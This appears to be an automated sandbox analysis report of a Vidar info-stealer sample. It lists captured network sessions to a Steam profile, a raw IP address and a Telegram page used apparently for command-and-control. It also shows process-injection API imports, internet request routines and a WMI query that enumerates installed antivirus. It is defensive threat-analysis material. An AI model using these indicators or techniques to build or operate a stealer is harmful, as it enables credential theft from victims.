2024-10-20 06:35:23 UTC	14467	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-20 06:35:23 UTC	16384	IN	Data Raw: 09 09 09 48 6f 6d 65 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 64 69 73 63 75 73 73 69 6f 6e 73 2f 22 3e 0d 0a 09 09 09 09 09 09 44 69 73 63 75 73 73 69 6f 6e 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 73 75 62 6d 65 6e 75 69 74 65 6d 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 77 6f 72 6b 73 68 6f 70 2f 22 3e 0d 0a 09 09 09 09 09 09 57 6f 72 6b 73 68 6f 70 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 Data Ascii: Home</a><a class="submenuitem" href="https://steamcommunity.com/discussions/">Discussions</a><a class="submenuitem" href="https://steamcommunity.com/workshop/">Workshop</a
2024-10-20 06:35:23 UTC	3768	IN	Data Raw: 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 66 65 66 34 39 65 37 66 61 37 65 31 39 39 37 33 31 30 64 37 30 35 62 32 61 36 31 35 38 66 66 38 64 63 31 63 64 66 65 62 5f 66 75 6c 6c 2e 6a 70 67 22 3e 0d 0a 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 0d 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 22 3e 0d 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 62 61 64 67 65 69 6e 66 6f 5f 62 61 64 67 65 5f 61 72 65 61 22 3e 0d 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 61 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 Data Ascii: s.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg"></div></div><div class="profile_header_badgeinfo"><div class="profile_header_badgeinfo_badge_area"><a data-panel="{"foc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49740	65.109.142.154	443	7336	C:\Users\user\Desktop\aZm1EZ2IYr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 06:35:25 UTC	187	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 65.109.142.154 Connection: Keep-Alive Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	149.154.167.99	443	7336	C:\Users\user\Desktop\aZm1EZ2IYr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-20 06:35:27 UTC	86	OUT	GET /lpnjoke HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache

Target ID:	0
Start time:	02:34:56
Start date:	20/10/2024
Path:	C:\Users\user\Desktop\aZm1EZ2IYr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\aZm1EZ2IYr.exe"
Imagebase:	0x180000
File size:	392'704 bytes
MD5 hash:	1E1D5412616216FD90EA3CB6A87353DB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000000.1668857258.00000000001B0000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:35:26
Start date:	20/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2220
Imagebase:	0xb70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:35:27
Start date:	20/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7336 -s 2384
Imagebase:	0xb70000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	13.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	22

Executed Functions

Function 00198995 Relevance: 231.5, APIs: 121, Strings: 11, Instructions: 518
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,0019730C), ref: 001989A9
GetProcAddress.KERNEL32 ref: 001989C0
GetProcAddress.KERNEL32 ref: 001989D7
GetProcAddress.KERNEL32 ref: 001989EE
GetProcAddress.KERNEL32 ref: 00198A05
GetProcAddress.KERNEL32 ref: 00198A1C
GetProcAddress.KERNEL32 ref: 00198A33
GetProcAddress.KERNEL32 ref: 00198A4A
GetProcAddress.KERNEL32 ref: 00198A61
GetProcAddress.KERNEL32 ref: 00198A78
GetProcAddress.KERNEL32 ref: 00198A8F
GetProcAddress.KERNEL32 ref: 00198AA6
GetProcAddress.KERNEL32 ref: 00198ABD
GetProcAddress.KERNEL32 ref: 00198AD4
GetProcAddress.KERNEL32 ref: 00198AEB
GetProcAddress.KERNEL32 ref: 00198B02
GetProcAddress.KERNEL32 ref: 00198B19
GetProcAddress.KERNEL32 ref: 00198B30
GetProcAddress.KERNEL32 ref: 00198B47
GetProcAddress.KERNEL32 ref: 00198B5E
GetProcAddress.KERNEL32 ref: 00198B75
GetProcAddress.KERNEL32 ref: 00198B8C
GetProcAddress.KERNEL32 ref: 00198BA3
GetProcAddress.KERNEL32 ref: 00198BBA
GetProcAddress.KERNEL32 ref: 00198BD1
GetProcAddress.KERNEL32 ref: 00198BE8
GetProcAddress.KERNEL32 ref: 00198BFF
GetProcAddress.KERNEL32 ref: 00198C16
GetProcAddress.KERNEL32 ref: 00198C2D
GetProcAddress.KERNEL32 ref: 00198C44
GetProcAddress.KERNEL32 ref: 00198C5B
GetProcAddress.KERNEL32 ref: 00198C72
GetProcAddress.KERNEL32 ref: 00198C89
GetProcAddress.KERNEL32 ref: 00198CA0
GetProcAddress.KERNEL32 ref: 00198CB7
GetProcAddress.KERNEL32 ref: 00198CCE
GetProcAddress.KERNEL32 ref: 00198CE5
GetProcAddress.KERNEL32 ref: 00198CFC
GetProcAddress.KERNEL32 ref: 00198D13
GetProcAddress.KERNEL32 ref: 00198D2A
GetProcAddress.KERNEL32 ref: 00198D41
GetProcAddress.KERNEL32 ref: 00198D58
GetProcAddress.KERNEL32 ref: 00198D6F
GetProcAddress.KERNEL32(CreateProcessA), ref: 00198D85
GetProcAddress.KERNEL32(GetThreadContext), ref: 00198D9B
GetProcAddress.KERNEL32(ReadProcessMemory), ref: 00198DB1
GetProcAddress.KERNEL32(VirtualAllocEx), ref: 00198DC7
GetProcAddress.KERNEL32(ResumeThread), ref: 00198DDD
GetProcAddress.KERNEL32(WriteProcessMemory), ref: 00198DF3
GetProcAddress.KERNEL32(SetThreadContext), ref: 00198E09
LoadLibraryA.KERNEL32(0019730C), ref: 00198E1A
LoadLibraryA.KERNEL32 ref: 00198E2B
LoadLibraryA.KERNEL32 ref: 00198E3C
LoadLibraryA.KERNEL32 ref: 00198E4D
LoadLibraryA.KERNEL32 ref: 00198E5E
LoadLibraryA.KERNEL32 ref: 00198E6F
LoadLibraryA.KERNEL32 ref: 00198E80
LoadLibraryA.KERNEL32 ref: 00198E91
LoadLibraryA.KERNEL32(dbghelp.dll), ref: 00198EA1
GetProcAddress.KERNEL32(75290000), ref: 00198EBC
GetProcAddress.KERNEL32 ref: 00198ED3
GetProcAddress.KERNEL32 ref: 00198EEA
GetProcAddress.KERNEL32 ref: 00198F01
GetProcAddress.KERNEL32 ref: 00198F18
GetProcAddress.KERNEL32(6FD40000), ref: 00198F37
GetProcAddress.KERNEL32 ref: 00198F4E
GetProcAddress.KERNEL32 ref: 00198F65
GetProcAddress.KERNEL32 ref: 00198F7C
GetProcAddress.KERNEL32 ref: 00198F93
GetProcAddress.KERNEL32 ref: 00198FAA
GetProcAddress.KERNEL32 ref: 00198FC1
GetProcAddress.KERNEL32 ref: 00198FD8
GetProcAddress.KERNEL32(752C0000), ref: 00198FF3
GetProcAddress.KERNEL32 ref: 0019900A
GetProcAddress.KERNEL32 ref: 00199021
GetProcAddress.KERNEL32 ref: 00199038
GetProcAddress.KERNEL32 ref: 0019904F
GetProcAddress.KERNEL32(74EC0000), ref: 0019906E
GetProcAddress.KERNEL32 ref: 00199085
GetProcAddress.KERNEL32 ref: 0019909C
GetProcAddress.KERNEL32 ref: 001990B3
GetProcAddress.KERNEL32 ref: 001990CA
GetProcAddress.KERNEL32 ref: 001990E1
GetProcAddress.KERNEL32(75BD0000), ref: 00199100
GetProcAddress.KERNEL32 ref: 00199117
GetProcAddress.KERNEL32 ref: 0019912E
GetProcAddress.KERNEL32 ref: 00199145
GetProcAddress.KERNEL32 ref: 0019915C
GetProcAddress.KERNEL32 ref: 00199173
GetProcAddress.KERNEL32 ref: 0019918A
GetProcAddress.KERNEL32 ref: 001991A1
GetProcAddress.KERNEL32 ref: 001991B8
GetProcAddress.KERNEL32(75A70000), ref: 001991D3
GetProcAddress.KERNEL32 ref: 001991EA
GetProcAddress.KERNEL32 ref: 00199201
GetProcAddress.KERNEL32 ref: 00199218
GetProcAddress.KERNEL32 ref: 0019922F
GetProcAddress.KERNEL32(75450000), ref: 0019924A
GetProcAddress.KERNEL32 ref: 00199261
GetProcAddress.KERNEL32(75DA0000), ref: 0019927C
GetProcAddress.KERNEL32 ref: 00199293
GetProcAddress.KERNEL32(6F070000), ref: 001992B2
GetProcAddress.KERNEL32 ref: 001992C9
GetProcAddress.KERNEL32 ref: 001992E0
GetProcAddress.KERNEL32 ref: 001992F7
GetProcAddress.KERNEL32 ref: 0019930E
GetProcAddress.KERNEL32 ref: 00199325
GetProcAddress.KERNEL32 ref: 0019933C
GetProcAddress.KERNEL32 ref: 00199353
GetProcAddress.KERNEL32(HttpQueryInfoA), ref: 00199369
GetProcAddress.KERNEL32(InternetSetOptionA), ref: 0019937F
GetProcAddress.KERNEL32(75AF0000), ref: 0019939A
GetProcAddress.KERNEL32 ref: 001993B1
GetProcAddress.KERNEL32 ref: 001993C8
GetProcAddress.KERNEL32 ref: 001993DF
GetProcAddress.KERNEL32(75D90000), ref: 001993FA
GetProcAddress.KERNEL32(6F8E0000), ref: 00199415
GetProcAddress.KERNEL32 ref: 0019942C
GetProcAddress.KERNEL32 ref: 00199443
GetProcAddress.KERNEL32 ref: 0019945A
GetProcAddress.KERNEL32(6C770000,SymMatchString), ref: 00199474

Strings

SetThreadContext, xrefs: 00198DF9
ResumeThread, xrefs: 00198DCD
dbghelp.dll, xrefs: 00198E97
GetThreadContext, xrefs: 00198D8B
WriteProcessMemory, xrefs: 00198DE3
SymMatchString, xrefs: 0019946E
CreateProcessA, xrefs: 00198D75
VirtualAllocEx, xrefs: 00198DB7
HttpQueryInfoA, xrefs: 00199359
ReadProcessMemory, xrefs: 00198DA1
InternetSetOptionA, xrefs: 0019936F

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateProcessA$GetThreadContext$HttpQueryInfoA$InternetSetOptionA$ReadProcessMemory$ResumeThread$SetThreadContext$SymMatchString$VirtualAllocEx$WriteProcessMemory$dbghelp.dll
API String ID: 2238633743-2740034357
Opcode ID: 4685673c820f8ec91281c2c6641cbe7f8e306c48c5723cc202be16ab764c7e93
Instruction ID: 42f985cebdb11a272353ec225a7db4ce3590d6c2a65c98ec4f7bb5b5c190067c
Opcode Fuzzy Hash: 4685673c820f8ec91281c2c6641cbe7f8e306c48c5723cc202be16ab764c7e93
Instruction Fuzzy Hash: C052B579903222AFDB037FA6FD499243FBEF758301B11992BE9058A270D7724864EF15

Function 0019C4B7 Relevance: 26.7, APIs: 13, Strings: 2, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 0019C56A
UT, xrefs: 0019C7E2

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT
API String ID: 0-1626504983
Opcode ID: 5bc8ff4d2c34b9de923b56164b00ac28b9c17f41d1efbfddb37095e893a9d2ff
Instruction ID: a7226390a6842c1c0e83670121a07a6c2c0a205d6424fa36f838eb8badd71a93
Opcode Fuzzy Hash: 5bc8ff4d2c34b9de923b56164b00ac28b9c17f41d1efbfddb37095e893a9d2ff
Instruction Fuzzy Hash: C20291B1E042688FDF25CF68C8807AEBBB5AF55304F0540E9D989AB246D7309E85CFD5

Function 00186963 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 161
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 001904EE: lstrcpyA.KERNEL32(00000000,?,?,00181D07,?,00197663), ref: 0019050D

Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AE8
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AEE
Part of subcall function 00184AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00184AF4
Part of subcall function 00184AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00184B06
Part of subcall function 00184AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00184B0E

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 001869C5
StrCmpCA.SHLWAPI(?), ref: 001869DF
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00186A0E
HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00186A4D
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00186A7D
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00186A88
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 00186AAC
InternetReadFile.WININET(?,?,000007CF,?), ref: 00186B40
InternetCloseHandle.WININET(?), ref: 00186B50
InternetCloseHandle.WININET(?), ref: 00186B5C
InternetCloseHandle.WININET(?), ref: 00186B68

Part of subcall function 001905DE: lstrlenA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 001905F2
Part of subcall function 001905DE: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 0019061A
Part of subcall function 001905DE: lstrcatA.KERNEL32(?,00000000,?,?,?,?,001970DE,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190625

Part of subcall function 00190562: lstrcpyA.KERNEL32(00000000,?,00000000,001970FC,001B6C20,00000000,001B66BA,?,?,?,?,001985D1), ref: 00190592

Strings

ERROR, xrefs: 00186BAB
GET, xrefs: 00186A42
ERROR, xrefs: 00186AB6

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000039F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000003DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2043302767.00000000003F0000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_aZm1EZ2IYr.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$CloseHandleHttp$OpenRequestlstrlen$ConnectCrackFileInfoOptionQueryReadSendlstrcat
String ID: ERROR$ERROR$GET
API String ID: 3863758870-2509457195
Opcode ID: 5323fac8edf1b1ef04e08562dc8c26c14760d4b9aa2df3705fc2c7d8a52e5a77
Instruction ID: 73f09b6b2d0cb30233afd7182b355e27675f5699adc1fccbdfeb8c14d2cae55d
Opcode Fuzzy Hash: 5323fac8edf1b1ef04e08562dc8c26c14760d4b9aa2df3705fc2c7d8a52e5a77
Instruction Fuzzy Hash: 46513B71A01169AFDF22BB60DC85AEEBBBCFB04344F0081A6F549A7151DB305E859F90

Function 0019196C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 114
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch.LIBCMT ref: 00191973
CoInitializeEx.OLE32(00000000,00000000,00000030,00193FA7,?,AV: ,001B68CC,Install Date: ,001B68B8,00000000,Windows: ,001B68A8,Work Dir: In memory,001B6890), ref: 00191982
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00191993
CoCreateInstance.OLE32(001B2F00,00000000,00000001,001B2E30,?), ref: 001919AD
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 001919E3
VariantInit.OLEAUT32(?), ref: 00191A32

Part of subcall function 00191D17: LocalAlloc.KERNEL32(00000040,00000005,?,?,00191A55,?), ref: 00191D1F
Part of subcall function 00191D17: CharToOemW.USER32(?,00000000), ref: 00191D2B

Part of subcall function 001904BC: lstrcpyA.KERNEL32(00000000,00000000,?,001970BD,001B66BA,?,?,?,?,001985D1), ref: 001904E2

VariantClear.OLEAUT32(?), ref: 00191A60

Strings

Unknown, xrefs: 00191A75
root\SecurityCenter2, xrefs: 001919C5
Select * From AntiVirusProduct, xrefs: 001919F8
Unknown, xrefs: 00191A89
WQL, xrefs: 001919FD
Unknown, xrefs: 00191A6E
displayName, xrefs: 00191A44

Memory Dump Source

Source File: 00000000.00000002.2042684141.0000000000181000.00000080.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2042664621.0000000000180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042710572.00000000001B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042727911.00000000001BD000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000001F2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000201000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.00000000002CF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000305000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000030C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000313000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000031A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000032B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000332000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000345000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.0000000000351000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2042751229.000000000037E000.00000004.00000001.01000000.00000003.sdmpDownload File
